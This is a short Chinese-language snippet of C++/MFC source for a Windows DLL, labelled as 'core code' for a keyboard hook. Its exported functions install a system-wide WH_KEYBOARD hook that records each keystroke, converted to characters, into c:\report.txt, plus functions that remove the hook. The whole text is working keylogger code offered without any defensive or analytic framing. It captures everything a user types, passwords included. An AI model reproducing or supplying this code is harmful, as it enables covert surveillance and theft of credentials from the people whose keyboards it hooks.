键盘钩子
核心code:
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
   char ch;
   if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
   {
   f1=fopen("c:\\report.txt","a+");
   if(wParam==VK_RETURN)
   {
   ch='\n';
   fwrite(&ch,1,1,f1);
   }
   else
   {
   BYTE ks[256];
   GetKeyboardState(ks);
   WORD w;
   UINT scan;
   scan=0;
   ToAscii(wParam,scan,ks,&w,0);
   ch=char(w);
   fwrite(&ch,1,1,f1);
   }
   fclose(f1);
   }
//将键盘消息传递给其他钩子链上的程序
   LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
   return RetVal;
}

//安装键盘钩子

BOOL __declspec(dllexport)__stdcall installhook()
{
f1=fopen("c:\\report.txt","w");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return TRUE;
}

//卸载键盘钩子
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked=UnhookWindowsHookEx(hkb);
return unhooked;
}

BOOL CHookKBApp::InitInstance()
{
// TODO: Add your specialized code here and/or call the base class
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return CWinApp::InitInstance();
}

int CHookKBApp::ExitInstance()
{
// TODO: Add your specialized code here and/or call the base class
UnHook(); //卸载键盘钩子

return CWinApp::ExitInstance();
}
